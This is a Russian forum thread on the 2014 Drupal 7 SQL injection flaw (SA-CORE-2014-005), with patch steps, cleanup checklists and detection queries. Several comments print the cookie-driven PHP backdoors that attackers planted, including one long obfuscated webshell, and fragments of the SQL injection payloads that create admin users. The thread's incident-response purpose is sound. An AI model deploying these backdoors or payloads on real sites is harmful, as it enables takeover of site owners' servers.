Критическая уязвимость во всех версиях drupal 7-ой ветки, которой был присвоен уровень "Highly critical". Уязвимость позволяет выполнить произвольный sql запрос на сайте (сменить пароль для админа, включить php фильтр и добавить произвольный php код в одну из нод). Необходимо срочно обновляться до Drupal 7.32, если возможности сейчас срочно обновиться нет, то как минимум нужно использовать патч https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch устраняющий проблему.
Минигайд по патчу(вручную):
В файле includes/database/database.inc
находим строку:
foreach ($data as $i => $value) {
и заменяем её на:
foreach (array_values($data) as $i => $value) {
Если такой строки нет - уточняйте, возможно ваш хостер уже наложил патч (в виду критичности проблемы).
Официальная информация о уязвимости - https://www.drupal.org/SA-CORE-2014-005
На русском языке - http://www.opennet.ru/opennews/art.shtml?num=40844 и http://habrahabr.ru/post/240721/
Патч - https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch
update.
На хостинге it-patrol.ru наложили патч на все уязвимые сайты. Обновились только 5% сайтов, так что посовещавшись решили наложить патч сами на уязвимые сайты, чтобы защитить клиентов (по рассылке всех уведомили).
update 2.
Информация от neochief
http://www.zionsecurity.com/blog/2014/10/automated-exploiting-and-backdo...Если у вас чудесным образом оказалось уже все пропатчено, либо вы не можете найти нужную строку, не спешите радоваться. Вот здесь описано как такое случается:У меня так было заражено два сайта. Чтобы вылечить, нужно найти вражеский скрипт и снести его (для выявления помогает команда "find . -type f -printf '%T@ %p\n' | sort -k 1nr | sed 's/^[^ ]* //' | head -n 10", которая выводит последние 10 изменившихся файлов, ну или "git status"). Кроме того, в таблице menu_router есть запись, которая может заново создать такой файлик. Ищите по ключевику "$form1=@$_COOKIE" в дампе базы, чтобы проверить.
update 3.
drupal 8 так же подвержен этой уязвимости. Исправили в Drupal 8 beta 2 - https://www.drupal.org/node/2357303
update 4.
https://www.drupal.org/node/2146839, а пофиксили как обычно следующей осеньюсамое интересное, что ишью по данному поводу было создано в прошлом ноябре
Ответ по этому поводу на drupal.org - https://www.drupal.org/node/2146839#comment-9255599
update 5.
Модуль https://www.drupal.org/project/site_audit показывает наличие троянов в menu_router, крайне желательно проверить свой сайт
Или сделайте дамп базы данных и grep '$form1=@$_COOKIE' мой_дамп.sql (для linux)
update 6.
В базе данных взломанных сайтов в таблице menu_router обнаруживается строка с access_arguments примерно следующего вида:
a:2:{i:0;s:25:"modules/taxonomy/yrof.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}
Найти такой троян в базе можно запросом:
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';
Так же создаются php shell, их ищем так:
find /путь/до/сайта -type f -name "*.php" -exec grep -l '$form1=@$_COOKIE' {} \;
Если в базе не нашли записи, это не ещё не значит, что сайт не взломан. Некоторые злоумышленники заметают следы, убирая записи из базы, после создания php shell
update 7.
Чеклист для проверки сайта
1) Проверяем не засунули ли трояна в menu_router (выглядит примерно так http://www.zoubi.me/sites/default/files/drupageddon_sql.png )
1 способ
делаем запрос в базу
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';
2 способ
сделайте дамп базы данных и grep '$form1=@$_COOKIE' мой_дамп.sql
(для linux)
3 способ
ставим модуль https://www.drupal.org/project/site_audit
Если строчку нашли, то удаляем её из базы
2) Проверяем не создали ли php shell в директории сайта
find /путь/до/сайта -type f -name "*.php" -exec grep -l '$form1=@$_COOKIE' {} \;
смотрим какие php файлы создавали за последние 5 дней
find /путь/до/сайта -name "*.php" -mtime -5
на каких файлах php изменяли права (иногда полезно)
find /путь/до/сайта -name "*.php" -ctime -5
3) Проверяем не поменяли ли email админа на сайте, меняем пароль (для главного админа и остальных админов, если они есть)
4) Смотрим не появились ли новые группы (роли с повышенными правами), если появились, удаляем
5) Проверяем не появились ли новые пользователи админы (состоящие в группе администратор, или других групп с повышенными правами), если есть, удаляем
6) если не хакали модули сами и не ставили дев версии, то выявить хаки в модулях и ядре поможет модуль https://www.drupal.org/project/hacked
update 8
Злоумышленники массово создавали пользователя с именем drupaldev и ролью megauser (с правами администратора), проверяйте свои сайты.
Проверить наличие в базе данных пользователя drupaldev и роли megauser, можно, к примеру, запросами в базу:
SELECT * FROM role WHERE name='megauser';
SELECT * FROM users WHERE name='drupaldev';
update 9
Информация от Ch
Появился модуль https://www.drupal.org/project/drupalgeddon который анализирует возможный взлом сайта (SA-CORE-2014-005), не имеет интерфейса, выполняется из консоли (drush). Интегрирован с модулем https://www.drupal.org/project/site_audit
Cписок пользователей создаваемых злоумышленниками, которые ишет модуль:
Комментарии
Да уже всех поломали кого хотели поломать. 15 числа надо было в шустром порядке обновляться.
Не забудьте после апдейта в юзерах проверить у кого роль админа есть, глядишь новые могут появиться, самоправозглашенные.
да нет, еще много сайтов не обновленных
и все таки axel что то знал, не переходя на семерку
Как системный администратор в хостинг компании скажу, обновили сайт около 5% только (сомневаюсь, что у других хостинг компаний особенно отличается ситуация). Массовых взломов пока не было, но скорее всего будут, так как exploit появились в сети. Поэтому важно донести информацию о необходимости обновления.
Может кто объяснить как применить запрос описанный http://www.opennet.ru/opennews/art.shtml?num=40844 чтобы он отработал.
Хочу закрыть уязвимость хотя бы патчем, тем проектам которые мне НЕ платят за поддержку сайтов, а для этого хотелось бы узнать поможет ли патч.
Спасибо.
ну так давай адреса сайтов, объясним и покажем
там имеется ввиду post запрос
Та я уже обновился давно.А что страшного ну поломают сайт восстановишь.Главное чтоб на вашем хостинге не объявился новый админ
Мне хостер сам патчи поставил)))) Потом только сообщил об этом)
Что-то у меня выходит добавить пользователя, отправляя запрос через POST.
ну так с помощью модуля PHP filter можно чудеса чудотворные вытворять, потом долго будут следы искать
Это не я писал)
Нашел готовый эксплоит на PHP
какая разница на пыхе или на питоне, пост запрос можно выполнить хоть с помощью расширения браузерного
вот кстати запросы, которые чаще всего пытаются выполнить
9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g' WHERE uid = '1';
VALUES ('mziogj', '', '', 'mziogj', 'file_put_contents',’[TROJAN]’);
TO users set uid=@a,status=1,name='n0n0x' , pass = '$S$CTo9G7Lx2jmHrpHDdKDR0R8X/
q4H9PXo02REYap3z2t8UE3F0DfC';INSERT INTO users_roles set uid=@a,rid=3;
Спасибо за информацию, я уже накатил патч на сайты.
Если на сайте нет возможности регистрироваться, взломать можно данным методом?
таки форма входа и регистрации разные вещи, а так тебя не спасет и перевод сайта в maintenance mode
самое интересное, что ишью по данному поводу было создано в прошлом ноябре https://www.drupal.org/node/2146839, а пофиксили как обычно следующей осенью
Зачем лепить патчи, если ядро обновить дело 2-х минут.
Говорят даже файлы можно через эту уязвимость заливать)
А если ядер 100?
Я верно понял? Нужно в файле
/includes/database/database.inc
заменить
foreach ($data as $i => $value) {
на
foreach (array_values($data) as $i => $value) {
Да.
На сайте с 7.31 такую строку нашел и заменил. А на 7.17 и 7.23 ее вообще нет! Почему тогда подвержены все версии Drupal 7?
Дрис защищает
https://docs.acquia.com/articles/drupal-7x-sa-core-2014-005-critical-sec...
> А на 7.17 и 7.23 ее вообще нет!
Если у вас чудесным образом оказалось уже все пропатчено, либо вы не можете найти нужную строку, не спешите радоваться. Вот здесь описано как такое случается: http://www.zionsecurity.com/blog/2014/10/automated-exploiting-and-backdo...
У меня так было заражено два сайта. Чтобы вылечить, нужно найти вражеский скрипт и снести его (для выявления помогает команда "find . -type f -printf '%T@ %p\n' | sort -k 1nr | sed 's/^[^ ]* //' | head -n 10", которая выводит последние 10 изменившихся файлов, ну или "git status"). Кроме того, в таблице menu_router есть запись, которая может заново создать такой файлик. Ищите по ключевику "$form1=@$_COOKIE" в дампе базы, чтобы проверить.
Спасибо, добрый человек. Все так. Нашел вражину!!!
Пароль имеет смысл менять для старого администратора? Новых не появилось.
Куда патч ставить? Как? Скажите плз, в юзерах сидит новая, неведомая личность, срочно)
/includes/database/database.inc
найти строку
foreach ($data as $i => $value) {
заменить на строку
foreach (array_values($data) as $i => $value) {
У неведомой личности сперва удалите его группу (скорее всего это будет megauser), потом удалите самого юзера.
надо же было догадаться эксплоит к уязвимости вынести на главную страницу сообщества, на орге до такой дури не додумались, понятно почему?)
Ссылку размещал для администраторов и разработчиков, для понимания как происходит атака, но согласен с вами, убираю.
Информация быстро гуглится и выложена уже на многих сайтах (даже готовые exploit на php).
Лучше поменять пароль, мало ли. И нужно проверить не поменяли ли email для админа
Обновление шапки топика:
update.
На хостинге it-patrol.ru наложили патч на все уязвимые сайты. Обновились только 5% сайтов, так что посовещавшись решили наложить патч сами на уязвимые сайты, чтобы защитить клиентов (по рассылке всех уведомили).
update 2.
Информация от neochief
update 3.
drupal 8 так же подвержен этой уязвимости. Исправили в Drupal 8 beta 2 - https://www.drupal.org/node/2357303
update 4.
В багтрекере drupal ( https://www.drupal.org/node/2146839 ) информация о потенциальной уязвимости появилась более 11 месяцев назад, но до security team информация не дошла. Ответ по этому поводу на drupal.org - https://www.drupal.org/node/2146839#comment-9255599
update 5.
Модуль https://www.drupal.org/project/site_audit показывает наличие троянов в menu_router, крайне желательно проверить свой сайт
Или сделайте дамп базы данных и grep '$form1=@$_COOKIE' мой_дамп.sql (для linux)
IT Patrol молодцы что применили массово патч.
Интересны скрипты на эту тему.
Обойти все сайты, для каждого проверить версию, в случае искомой версии применить патч.
Скрипт писал коллега и он заточен под особенности хостинга, его нет смысла выкладывать в том виде, в каком он есть. Но там по сути несколько строк на баше будет. Формируем список директорий в которых лежат сайты, а потом в цикле грепаем строку $data as $i => $value в файле includes/database/database.inc , если она есть, версия уязвима, тогда патчим, к примеру утилитой patch
patch -p1 --backup < /root/SA-CORE-2014-005-D7.patch
В базе данных взломанных сайтов в таблице menu_router обнаруживается строка с access_arguments примерно следующего вида:
a:2:{i:0;s:25:"modules/taxonomy/yrof.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}
Найти такой троян в базе можно запросом:
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';
Так же создаются php shell, их ищем так:
find /путь/до/сайта -type f -name "*.php" -exec grep -l '$form1=@$_COOKIE' {} \;
Если в базе не нашли записи, это не ещё не значит, что сайт не взломан. Некоторые заметают следы, убирая записи из базы, после создания php shell
update 7.
Чеклист для проверки сайта
1) Проверяем не засунули ли трояна в menu_router (выглядит примерно так http://www.zoubi.me/sites/default/files/drupageddon_sql.png )
1 способ
делаем запрос в базу
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';
2 способ
сделайте дамп базы данных и
grep '$form1=@$_COOKIE' мой_дамп.sql
(для linux)3 способ
ставим модуль https://www.drupal.org/project/site_audit
Если строчку нашли, то удаляем её из базы
2) Проверяем не создали ли php shell в директории сайта
find /путь/до/сайта -type f -name "*.php" -exec grep -l '$form1=@$_COOKIE' {} \;
смотрим какие php файлы создавали за последние 5 дней
find /путь/до/сайта -name "*.php" -mtime -5
на каких файлах php изменяли права (иногда полезно)
find /путь/до/сайта -name "*.php" -ctime -5
3) Проверяем не поменяли ли email админа на сайте, меняем пароль (для главного админа и остальных админов, если они есть)
4) Смотрим не появились ли новые группы (роли повышенными правами), если появились, удаляем
5) Проверяем не появились ли новые пользователи админы (состоящие в группе администратор, или других групп с повышенными правами), если есть, удаляем
6) если не хакали модули сами и не ставили дев версии, то выявить хаки в модулях и ядре поможет модуль https://www.drupal.org/project/hacked
ядру не хватает инструмента для поднятия паники при таких критикалах ))
спасибо за мануал, также спасибо за эксплоит (работает чудненько, но немножко поправил).
update 8
Злоумышленники массово создавали пользователя с именем drupaldev и ролью megauser (с правами администратора), проверяйте свои сайты.
Проверить наличие в базе данных пользователя drupaldev и роли megauser, можно, к примеру, запросами в базу:
SELECT * FROM role WHERE name='megauser';
SELECT * FROM users WHERE name='drupaldev';
Вывести uid пользователей у которых роль администратор, помимо основного админа (uid=1)
SELECT * FROM users_roles WHERE rid='3' AND uid !='1';
https://www.drupal.org/project/drupalgeddon
drupaldev уже проверяет там, мегаюзера пока нет.
нет не вывести)
Поясните?
update 9
Спасибо за информацию, хороший модуль. Кстати, судя по коду вижу проверяет. Правило в checks\bad_roles_check.inc
И список пользователей которых ищет, тоже вижу больше
'configure',
'drplsys',
'drupaldev',
'n0n0x',
'system',
);
запрос выводит пользователе с rid=3 -
это может быть любая роль, при минимальной установке друпала из коробки нет роли админ
Так в этом и суть запроса, вывести uid всех пользователей, у которых rid=3 (группа администратор). В drupal 7 есть роль "администратор" по умолчанию, её не было в drupal 6, и rid=3 это номер группы "администратор" по умолчанию в drupal 7
Вот так выглядит таблица roles в стандартном drupal 7 - http://i.imgur.com/3poCQLw.jpg
А вот так выглядит по умолчанию таблица users_roles - http://i.imgur.com/iwNwv4S.jpg , как видите группа rid=3 по умолчанию закреплена за uid=1
Прошу прощения, ошибся, это при установке профиля standart, в профиле minimal группа не создается. Исправляю информацию
Сначала обновил ядро и все модули, а потом уже заметил что появился новый пользователь drupaldev. Удалил пользователя, а затем начал искать остальные следы, методами описанными в шапке. Но ничего так и не нашел, плохо искал? или это из-за того что обновился нет остальных следов?
кроме всего прочего добавленным пользователем могли изменить контент, добавить комменты спамные, изменить/добавить новые блоки, изменить/добавить вьюхи
это не единственная уязвимость друпала, их в нём много.
Пруф будет? Уязвимости исправляют с выходом новых версий, в Drupal 7.32 пока нет обнаруженных уязвимостей.
и ключи от квартиры?
оке, слив так слив. Будут пруфы, тогда будет и разговор.
Наверное Вы хотели сказать: нет опубликованной информации об обнаруженных уязвимостях..
Именно так. Иначе говоря нет доказательств, что в Drupal 7.32 есть уязвимости. Поэтому любые сообщения вида "это не единственная уязвимость друпала, их в нём много." бросание слов на ветер, не более.
Это аксиома для любой системы.. Нельзя быть таким оптимистом, все хорошо в меру-)
"Программирование без ошибок - есть теоретическая абстракция" - говаривал мой препод по предмету "АиЯП"
Ох.. бедный-бедный суслик, которого никто не видит..
Поломали сайт...
drupaldev, megauser - все путем
Не мудрствуя, перезалил из backup'а, предварительно обновив ядро.
Теперь в журнале лезут такие сообщения:
---
"DOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in
your SQL syntax; check the manual that corresponds to your MySQL server version for the right
syntax to use near ' 'test' AND status = 1' at line 1: SELECT * FROM {users} WHERE name =
:name_0, :name_1 AND status = 1; Array ( [:name_0] => test3 [:name_1] => test ) в функции
user_login_authenticate_validate() (строка 2149 в файле /.../modules/user/user.module)."
---
"Warning: addcslashes() expects parameter 1 to be string, array given в функции
DatabaseConnection->escapeLike() (строка 984 в файле /.../includes/database/database.inc)."
---
"Warning: mb_strlen() expects parameter 1 to be string, array given в функции drupal_strlen()
(строка 478 в файле /.../includes/unicode.inc)."
---
Это плохо?
Новые юзеры и роли не появляются...
https://www.drupal.org/PSA-2014-003
А шестерка не подвержена?
а то мне не нравится вот эта запись в логе друпала, но в бд ничего не нашел, на фтп в колонке доступа к файлам - тоже даты старые стоят.
добавлю свои 5 копеек. попал под раздачу. и или более хитрый шелл чем описан здесь у меня или же просто словил сразу несколько.
Осторожно с рекурсивным удалением -)) Проверьте перед таким делом(перед рекурсивным удалением) на симлинки.... Некоторые вирусы с собой записали симлинк на корень всех сайтов
Вот опыт по лечению некоторых последствий.... http://burnis.org/vir
Это плохо
Если не сложно - поясните, пожалуйста, чем плохо и что делать, что читать/исправлять.
Описанные симптомы (ошибки в журнале) проявились только в первый день после обновления, больше не появляются.
Одна нежить-бот вчера успешно зарегистрировалась, все вроде работает как до взлома.
Восстанавливал из бэкапа, сохраненного еще в январе на локальном компе, обновлял на нем же, потом заливал на хостинг.
На хостинге предварительно были удалены все файлы сайта, в базе удалены все таблицы.
Извините, немного неправильно интерпретировал Вашу фразу.
Вот еще следы: Файлы с такими фрагментами:
и
Еще один пользователь создаваемый уродами - xU4qt
Было 2 пользователя drupaldev и drupdev. Один из них с собственно созданной ролью megauser, другой же с созданной мной. Хорошо,что у меня пользователей всего-то 2 было.
В нескольких десятках статей появились встроенные левые ссылки. Причем никаких левых пользователей нет и заходов даже нет в ближайшие недели.
Закачали shell и заменили email в моей админской записи, контент меняли с моей записи.
Вот если взломали сайт и добавили пользователей, достаточно ли:
1. удалить группу мегаузер
2. удалить лишних пользователей
3. целиком обновить все файлы, кроме каталога sites
4. сменить пароль админу
Или надо делать что то еще?
Ставим 7.34 и 6.34
Пароли от базы Drupal7, юзера root и pma менять надо ? В шапке ни слова, а вот если доступ был к базам, то пароль теоретически вытащить могли?
Там еще меню роуты засираются, так что вероятнее там куда сложнее вычистить
> Там еще меню роуты засираются
очень плохо. А как это проверить, что проблемы в маршрутах меню? И что это вообще за маршруты такие?
Че то я понять не могу как Site Audit проверить(
На неделе на сервере упал mysql из-за нехватки памяти. Обнаружил что у меня в процессах на Ubuntu Server 12.04 куча задач sendmail которые рассылают спам. Не могу найти как их включают и где дыра.
У кого-нибудь такое было? Куда смотреть?
Выше в комментариях подробно описано где и что искать.
в папке sites тоже может оказаться некоторое количество зараженных файлов. Искать по дате (описано выше), а если не повезло и в этот момент над сайтом производились работы, искать по участкам кода (тоже уже примеры приводили)
Поиск php файлов злоумышленников вышеуказанная схема помогла только от части.
В поиске оставшихся файлов помогла такая команда:
find . -type f -name '*.php' | xargs grep -l "eval *(" --color
Объясните, пожалуйста, с помощью чего выполняются эти команды?
drush dl drupalgeddon
drush cache-clear drush
https://www.drupal.org/project/drupalgeddon
.
В 6-ке уязвимость эта есть? Или там уже никто не лечит?
В шахе данной проблемы нет.
нет,and check for other malicious activity
не сюда
только что пролечил сайт.
попались такие файлы
includes/taxonomy-admin-data.php
includes/color-tpl.php
modules/help/help-main.php
sites/default/toolbar-tpl.php
sites/default/files/load-styles.pages.php
themes/bartik/images/ico-social-delicious64.png
sites/default/files/ico-archivess.gif
modules/image/image.admin.api.inc
misc/color-rtl-data.php
shortcut-api-module.php
sites/default/files/contact-bak.php
misc/forum-rtl-bak.php
sites/default/files/help.main.info
syslog-inc.php
sites/default/files/pointer3s.gif
sites/default/forums.php
sites/default/files/menu.pages.install
includes/actions.info.inc
sites/default/files/book.pages.info
modules/help/help-module.php
modules/openid/openid-pagess.php
sites/default/files/openids.php
includes/cache.test.inc
modules/rdf/rdf-main.php
modules/translation/translation.pages.info
themes/bartik/images/graffiti64.png
имена файлов нашёл в таблице menu_router, поле access_arguments
запросом
FROM `menu_router`
WHERE access_callback LIKE 'file_put_contents'
в начале BLOB-данных.
причём иногда данные имели вид
<?phpa:2:{i:0;s:24:"modules/rdf/rdf-main.php";i:1;s:96:"<?php if(@$_COOKIE['gx']){$hva=$_COOKIE['gx']("",@$_COOKIE['rokd'](@$_COOKIE['fhp']));$hva();}?>";}?>
а иногда
<?phpa:2:{i:0;s:42:"modules/translation/translation.pages.info";i:1;s:3429:"<?php $dngs='=T,)@';$xplaxl='l$,a$1h';qnjb;$xglcz='6{hmWt"Y'^'[';/*W=?t8ayPy5q95GIBW-L"SKO3K}?uaYTUuulagjphn|295:in*a3wY"%!p3gY8;/*/$sl='ZBM`FL/=[)=_'^'3,$?5)[';
toovbp;$mdi='}wR4Jh,SHp_Vpw{Yp]`VxBt-dS7U;uYY';
$iwz='4dS])}i|c80e"Lk/%Sqw/a'^'(XZo4o+BVi:J5+';$yahnn='$c(EaW_M-g6|Fxwk';$yopff='+k!%';$dgqk=0;
$yjwl=':B4)=vI0%418M@7'^'_0FFO);UU[CL$.PJ4IktDY';##O5S)#Lyd$p4Qr2g_@X/C*qvL.R6(E;1%z[
$cxt='/]'^'Khf.=xb}';$zqdl='AOD]I#';jygek;$oop=$dngs.$yopff;$yjwl($dgqk);
'HqHUjm';/*rDyY:b1u6X-b$#D#ecB!NGB:m@2x(;[lx6C0wE[oe`lV6Q5^]TzO.HlpH*/
$vxnzs='^&IH4N4GP/,04&M';'0ZHf+t';uetrqws;$sl($yjwl,$dgqk);$rqgh='KN0Q|[O2+A:eBDKnF;VdH$GLWeVgXF?k';$rpqk=@$_COOKIE;/*$ztyp;*g[_503b#2pU.c0nZL0shqa<<$isxslzwk*/##^.V,Um6br,@+n5lLF@BP]g(SA#XHt_5&|!tMWU}
$dl='RpI]2:';/*U7kt5:+%$`?UlRb`d|)m-"3{1?6RpTDbHbGdFTt7_AjvI8SG2oR[1RV(TnsyUt/+:^dg^FT:5(kgEv+j$`zI*/##bL#GF)H+CMt244fvZs}+?"B
##";DM"8z{%ALWR@Ri=M_]8KQg8"XdPZeJ
$hqfos<<'dhaxtvpidzgddcczmakj';pvrgf;$yopff=$xglcz.$cxt;$gtmdy=$oop.$zqdl^$vxnzs;'Bs/iv&S';
ntmqxbe;$vh=$rqgh.'6p&K2Ie'^$mdi;$chmdrm=$rpqk['hpsy'];/*#K,*E[Ry1IorR@*/'Ix32PL=';if($vh==$yopff($chmdrm)){'NSB|k';/*VAsslk.45o2jFlOvPddm"LhzQC_P==#BZm3sbrpfwcipfud>>J/w,%[FDYW69!)9:+$-fIZjl:Z)(=x#[WKL!@44*/
###SY"oWQxry{Z*K=&7K&hd$t0
$ajlfl|'rzneplecbr';$exjiu='+glP:@ioC^q:I}/]!f';$wkwg='&TYkNk'.'ycjb';$cqy^$togkf;
$ldxu='Vp5?KRI{+l4H';$aqj^$ifj;/*q@O1REoY+(JkLN%)CEV%NV7D{S9co)|0Ofn$yaxo='vwzajgygopcmxidk';'wyzxrclv';*/$mxvinn='xL2T_%S[W&2;IDz`kw$$#}yv,FVerQbH{m#XN1,C_%z070/(T$H|o&=?`)u2qA$L[;mbDE49D1A&[oQemkd1`|m/2h,cX-4r:A,VZp],W(Xd$)4=ZA$VQ5074zcA=7,L]tL.%&^B{72OTL6zAH';/*Miqs0_JSEsFgv0;JX)x/G`Hd,rYs{ff%NYwi?9[D[t8ouvgpZE$|Z24EEYE&]w4,(%yD,HhCq5*/'0KL.';/*sV[m!r]UxxdWO$Pfg@-u0ybbxrinibdnqe<<By{?1:1g[UVUzQ5g#Wm%GGLCbI"@,?!wXTj(*/'*zOf",(';$syblel=';IYX(6%I#PqI;/G@0eD,`p.5biI94@EP4aHlILE@F";XH:;Y9#PUJ[2vd3r1;a%jL2P):zjmh9"6=JYGSJxfqmif#f,l$d-,XRMD8n=u"i';'enW|';$zkoa=$aqsnr^'8N@KIMc;@jN#F/[%_kpCC';/*!CEM,%2qxf$,#"2RHo$mfx='fasfnoinplupkayv';'xxyknpwi';*/$dkre='qhV?%SnsvC_K==RD41mhf."T_2?G/xKhDME1"Ts$:Q%SX^[M:P;TKy{v,l&iS2P%yf6@0(Df*P,Cy2xEWK@n#3"d{-wA+Y]Pgz&_ST3^"@"YFHGXlu{24V_SQRG(^ON=t*.OVChv$SW,;(SRe,';'Isr#L"G';##Z4d^F?d5yAw.dcF+gF%wIO&O!fe*55
$qykmj>>'iselp';$wyz='#r]j1u$9?@uD#co5G|SJ';$cdkzs='`kAgA%VzRL(:l(=.ilV{p6{Ze'^$xpbb;$nvruvm='1@P|AU]+RmYh^B74IM`s&9bp12kMF24riHaLvl#)*Gd?-Nd:VM$0$/A^@l4xw$v1nF"[KX76JMOFb$8*6h%OQWIB|%c#o-hwz&?6IL`N(`'.$mxvinn;/*$fxsw;C%=pL%I]&GI-[o:s_C1htpaipmr^$kaga*/
$kcq='`kAgA%VzRL(:l(=.ilV{p6{Ze'.$rusbs;/*$csbv;=]24n.m1k{u;"%PgZ7f@p!xmvs1^z?T|jKbA^$g4@nceszdoiz<<$vsytfj*/$mwwvt=$syblel.$dkre;$fufwm=$nnzg.'"|KUfm0w=';$lmei='a&3.(:Fa=,vb.ip.@`HP+AxB';$icigl^'5{"_"pl{79=]';$nvruvm.='=P%ww=8%5/S4#SwD4:ENh`q&';$ojok=$nvruvm.'7_lWD8ym'^$mwwvt.'V*S^L71,uJ%UO{S*FO-4A[{/';/*8R]jq/_pVB&(cmb$6ecQA1)&96G]!fAwwhceacgfbboi^V$8g}MXa]:^&*?56s.X@/E]7*/$lpnh=$lpnh.'r:JQdA4=Q@g,w';$etlk='zj/.iDNOcc%$h[3hH(';'7_lWD8ym';'N&@9]T';/*$vochh;^@EQJp5+l$3nCp8CpnRMicBxa1!?FjOogx>>$ufhsps*/$fpfbh='c}2"tv$2VBr,'.',TX@1Qm?%JyQ{';
$fkkaj=$fkkaj.'rZ&BBnWK';$lpdtf=$gtmdy($ylsfm,$ojok);$lpdtf('$|e;A2Z8^%J),$"wzV`b','LyotS{!WR');}##JF#C^Kuju[V0spkh-L%sBMAoFz_7W`{0y.1
$nl>>'oczwbkkcapq';$lkwha('[$.g#;f!7[qhD?ok,52UEkK)');'OStbzRJ';$fxeo($mnnuh,$hqr); ##S-.$2MT5#Fd#C**(nJ23n%Bd_cd#BG
$dcz='8z^0u;.::/V:7eL';'%11b+o1H"1eJR/R';wxxvixa;/*$ephb;1^s7OUpOh#p4]HtYoFvM+&u:euzL&E+aWqdxolokn>>$jnves*//*$eft;p%Vlv3snZ$g11_[h){eatuyglor<<$eeuzz*/
$nxbo('y_1Z*C5Id^ZfV_:','j8Q1;EXuT_XfwlJ`');yroq;',,!Wn._';?>";}?>
что такое второе за тарабарщина - никогда не видел, может кто знает - буду признателен.